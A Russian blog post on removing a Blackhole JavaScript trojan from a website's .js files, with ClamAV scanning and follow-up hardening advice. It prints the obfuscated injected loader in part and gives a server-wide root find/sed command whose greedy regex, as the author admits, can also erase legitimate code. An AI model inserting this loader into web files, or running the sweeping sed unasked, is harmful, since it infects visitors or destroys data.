Pull to refresh

Лечение сайта от вируса в файлах javascript и других на примере

Reading time 3 min
Views 8.3K
Однажды, я получил письмо от Яндекс.Вебмастер о том, что один из моих сайтов заражён — Сайт содержит код, который может быть опасен для посетителей и, что В настоящий момент сайт выводится в результатах поиска с пометкой «Этот сайт может угрожать безопасности вашего компьютера».

Быстрый анализ показал, что заражены файлы *.js — в конце каждого из них был добавлен код:

try{q=document.createElement("d"+"i"+"v");q.appendChild(q+"");}catch(qw){h=-012/5;}try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(123-122)+zz;ss=[];f='fr'+'om'+'Ch';f+='arC';f+='ode';w=this;e=w[f["substr"](11)+zz];n="19$50$57.5$54
.... тут ещё много таких же надписей ....
$19.5$28.5"[((e)?"s":"")+"p"+"lit"]("a$"[((e)?"su":"")+"bstr"](1));for(i=6-2-1-2-1;i-685!=0;i++){j=i;if(st)ss=ss+st.fromCharCode(-1*h*(1+1*n[j]));}q=ss;e(q);}


Проанализировав выдачу поисковика на тему поиска и замены текста в файлах linux, я получил несколько вариантов команд для консоли.

Далее, я зашёл в систему по SSH и от имени root выполнил команду
find / -name "*.js" -type f -print0 | xargs -0 sed -i 's/try{q=document\.createElement.*}/#cleaned/g'
После её выполнения, все файлы js были очищены от трояна.

Эта команда производит поиск файлов с расширением .js по всему серверу и ищет в них текст, соответствующий регулярному выражению try{q=document\.createElement.*}, которое как раз описывает троянца. После чего заменяет этот текст на строку #cleaned

После этого желательно пройтись по всему серверу антивирусом, например clamav.

В семействе RedHat/CentOS установить его можно командой yum install clamav
После чего выполнить команду
clamscan -ri -l /home/scan-report.txt /
Она проведёт сканирование всего сервера рекурсивно и сохранит отчёт в файле /home/scan-report.txt В отчёте будет информация только о заражённых файлах.

Отчёты антивирусов о заразе:
Результат проверки ClamAV — Trojan.Blackhole-483
Результат проверки Comodo — TrojWare.JS.Blacole

Хочу сказать, что есть и другие способы поиска и удаления подстроки в файлах, в том числе и с выводом результатов, созданием бэкапом файлов, и более быстрые варианты с использованием ack-grep.

Например, различные варианты поиска и замены приведены здесь

P.S. Таким образом можно избавляться от различной похожей заразы. Но помните, это лишь устранение симптомов. После обнаружения и лечения заразы, нужно проанализировать сервер на предмет уязвимостей.
Почитать логи в папке /var/log/, файл /var/log/messages, и другие доступные в зависимости от вашего ПО и дистрибутива *nix.
Обновить программное обеспечение, как серверное, так и сами движки сайтов и их модули. И если обновление и настройку серверного ПО нужно отдать одному специалисту, то движки сайтов и их модулей вероятнее всего другому.

UPD. В комментариях настоятельно просят упомянуть, что под приведённое регулярное выражение
/try{q=document\.createElement.*}/
попадает любой текст, который начинается на
try{q=document\.createElement и заканчивается }.
Перед использованием рекомендую убедиться, что у вас не используется в благих целях такие конструкции в коде или уточнить регулярное выражение.
Используете на свой страх и риск. Перед использованием и вовремя него необходимо использовать мозг.

Благодаря закладкам теперь лучше видна полезность поста несмотря на результаты голосования.
Tags:
Hubs:
-8
Comments 34
Comments Comments 34

Articles